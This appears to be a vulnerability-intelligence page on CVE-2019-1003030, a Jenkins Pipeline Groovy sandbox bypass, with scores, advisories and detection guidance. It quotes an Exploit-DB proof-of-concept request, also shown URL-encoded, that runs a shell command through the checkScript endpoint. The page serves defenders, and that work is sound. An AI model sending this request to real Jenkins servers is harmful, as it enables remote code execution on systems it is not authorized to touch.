CVE-2019-1003030
published 2019-03-08CVE-2019-1003030: A sandbox bypass vulnerability exists in Jenkins Pipeline: Groovy Plugin 2.63 and earlier in pom.xml…
PriorityP195critical9.9CVSS 3.1
AVNACLPRLUINSCCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
97.06%
99.9th percentile
A sandbox bypass vulnerability exists in Jenkins Pipeline: Groovy Plugin 2.63 and earlier in pom.xml, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShell.java that allows attackers able to control pipeline scripts to execute arbitrary code on the Jenkins master JVM.
Affected
20 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | appdynamics_dashboard_plugin | — | — |
| jenkins | azure_vm_agents_plugin | — | — |
| jenkins | azure_vm_in_azure_vm_agents_plugin | — | — |
| jenkins | bitbar_run-in-cloud_plugin | — | — |
| jenkins | credentials_plugin | — | — |
| jenkins | deploy_plugin | — | — |
| jenkins | email_extension_plugin | — | — |
| jenkins | groovy_plugin | — | — |
| jenkins | ids_in_azure_vm_agents_plugin | — | — |
| jenkins | ids_to_allow_administrators_configuring_the_plugin | — | — |
| jenkins | job_dsl_plugin | — | — |
| jenkins | matrix_project_plugin | — | — |
| jenkins | pipeline | <= 2.63 | — |
| jenkins | rabbit-mq_publisher_plugin | — | — |
| jenkins | rabbitmq_in_rabbit-mq_publisher_plugin | — | — |
| jenkins | repository_connector_plugin | — | — |
| jenkins | script_security_plugin | — | — |
| jenkins | this_allowed_users_able_to_control_the_plugin | — | — |
| jenkins_project | jenkins_pipeline_groovy_plugin | — | — |
| redhat | openshift_container_platform | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {↗
path/jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript↗
bytes↗
%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d
- →Monitor HTTP GET requests targeting the Jenkins endpoint path containing 'SecureGroovyScript/checkScript' with query parameters 'sandbox=true' — this is the specific attack vector used to trigger the sandbox bypass. ↗
- →Detect Groovy script payloads containing '.execute()' calls submitted via the checkScript endpoint, which is the mechanism used to achieve RCE on the Jenkins master JVM. ↗
- →The vulnerability is triggered during parsing, compilation, and script instantiation phases — alert on crafted Groovy scripts submitted to pipeline jobs that escape sandbox protection via CpsGroovyShell.java. ↗
- →Flag URL-encoded Groovy class definitions (e.g. '%70%75%62%6c%69%63%20%63%6c%61%73%73') in HTTP request parameters to Jenkins endpoints, as attackers URL-encode payloads to evade basic string matching. ↗
- ·The exploit path prefix '/jenkinselj/' appears to be a site-specific Jenkins context root used in the PoC; in real deployments the context root may differ (e.g. '/' or '/jenkins/'). Detection rules should match on the invariant portion 'securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'. ↗
- ·The JSESSIONID cookie value in the PoC ('JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0') is session-specific and will vary per target; do not use it as a static IOC but note the '.nodeX' suffix pattern as characteristic of Jenkins clustered session cookies. ↗
- ·The affected source files are pom.xml and src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShell.java in Pipeline: Groovy Plugin 2.63 and earlier; the fix was delivered via RHSA-2019:0739 for OpenShift 3.11 but several older OpenShift versions are listed as 'Will not fix'. ↗
CVSS provenance
nvdv3.19.9CRITICALCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck9.9CRITICAL
cisa9.9CRITICAL
vendor_redhat9.9CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
cisa·2022-03-25·CVSS 9.9
CVE-2019-1003030 [CRITICAL] Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
Vulnerability: Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
Affected: Jenkins Matrix Project Plugin
Jenkins Matrix Project plugin contains a vulnerability which can allow users to escape the sandbox, opening opportunity to perform remote code execution.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2019-1003030
Remediation Due Date: 2022-04-15
Red Hat
jenkins-plugin-workflow-cps: Sandbox bypass in Pipeline: Groovy Plugin (SECURITY-1336(2))
vendor_redhat·2019-03-06·CVSS 9.9
CVE-2019-1003030 [CRITICAL] CWE-20 jenkins-plugin-workflow-cps: Sandbox bypass in Pipeline: Groovy Plugin (SECURITY-1336(2))
jenkins-plugin-workflow-cps: Sandbox bypass in Pipeline: Groovy Plugin (SECURITY-1336(2))
A sandbox bypass vulnerability exists in Jenkins Pipeline: Groovy Plugin 2.63 and earlier in pom.xml, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShell.java that allows attackers able to control pipeline scripts to execute arbitrary code on the Jenkins master JVM.
A flaw was found in the Jenkins Workflow CPS plugin. Parsing, compilation, and script instantiations provided by a crafted Groovy script could escape the sandbox allowing users to execute arbitrary code on the Jenkins master. The highest risk from this vulnerability is to data confidentiality and integrity as well as system availability.
Package: jenkins-2-plugins (Red Hat OpenShift Container Platform 3.10) - Will not fix
P
Jenkins
Jenkins Security Advisory 2019-03-06
vendor_jenkins·2019-03-06·CVSS 9.9
CVE-2019-1003029 [CRITICAL] Jenkins Security Advisory 2019-03-06
Title: Jenkins Security Advisory 2019-03-06
Jenkins Security Advisory 2019-03-06
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
AppDynamics Dashboard
Plugin
Azure VM Agents
Plugin
Bitbar Run-in-Cloud
Plugin
Email Extension
Plugin
Groovy
Plugin
Job DSL
Plugin
Matrix Project
Plugin
OSF Bui
OSV
Sandbox bypass in Jenkins Pipeline: Groovy Plugin
osv·2022-05-13
CVE-2019-1003030 [CRITICAL] Sandbox bypass in Jenkins Pipeline: Groovy Plugin
Sandbox bypass in Jenkins Pipeline: Groovy Plugin
A sandbox bypass vulnerability exists in Jenkins Pipeline: Groovy Plugin 2.63 and earlier in pom.xml, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShell.java that allows attackers able to control pipeline scripts to execute arbitrary code on the Jenkins master JVM.
GHSA
Sandbox bypass in Jenkins Pipeline: Groovy Plugin
ghsa·2022-05-13
CVE-2019-1003030 [CRITICAL] CWE-693 Sandbox bypass in Jenkins Pipeline: Groovy Plugin
Sandbox bypass in Jenkins Pipeline: Groovy Plugin
A sandbox bypass vulnerability exists in Jenkins Pipeline: Groovy Plugin 2.63 and earlier in pom.xml, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShell.java that allows attackers able to control pipeline scripts to execute arbitrary code on the Jenkins master JVM.
VulnCheck
Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
vulncheck·2019·CVSS 9.9
CVE-2019-1003030 [CRITICAL] Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
Jenkins Matrix Project plugin contains a vulnerability which can allow users to escape the sandbox, opening opportunity to perform remote code execution.
Affected: Jenkins Matrix Project Plugin
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://app.crowdsec.net/cti/cve-explorer/CVE-2019-1003030
Exploit PoC: https://vulncheck.com/xdb/81d54204d708
Remediation Due: 2022-04-15
No detection rules found.
Exploit-DB
Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
exploitdb·2020-10-19·CVSS 9.9
CVE-2019-1003030 [CRITICAL] Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
---
# Exploit Title: Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
# Date: 8th October 2020
# Exploit Author: dmw0ng
# Vendor Homepage: https://www.jenkins.io
# Software Link: http://archives.jenkins-ci.org/windows/jenkins-2.63.zip
# Version: Jenkins 2.63
# Tested on: Ubuntu 18.04 / 20.04
# CVE : CVE-2019-1003030
GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {
public x(){
"ping -c 1 xx.xx.xx.xx".execute()
}
} HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-
Nuclei
Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
nuclei·CVSS 9.9
CVE-2019-1003030 [CRITICAL] Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
Jenkins Pipeline: Groovy Plugin (workflow-cps) version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with Overall/Read permission to execute arbitrary code on the Jenkins controller JVM.
Template:
id: CVE-2019-1003030
info:
name: Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
author: princechaddha
severity: critical
description: |
Jenkins Pipeline: Groovy Plugin (workflow-cps) version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiatio
http://packetstormsecurity.com/files/159603/Jenkins-2.63-Sandbox-Bypass.htmlhttp://www.securityfocus.com/bid/107476https://access.redhat.com/errata/RHSA-2019:0739https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336%20%282%29http://packetstormsecurity.com/files/159603/Jenkins-2.63-Sandbox-Bypass.htmlhttp://www.securityfocus.com/bid/107476https://access.redhat.com/errata/RHSA-2019:0739https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336%20%282%29https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-1003030
2019-03-08
Published
2022-03-25
Added to CISA KEV
Exploited in the wild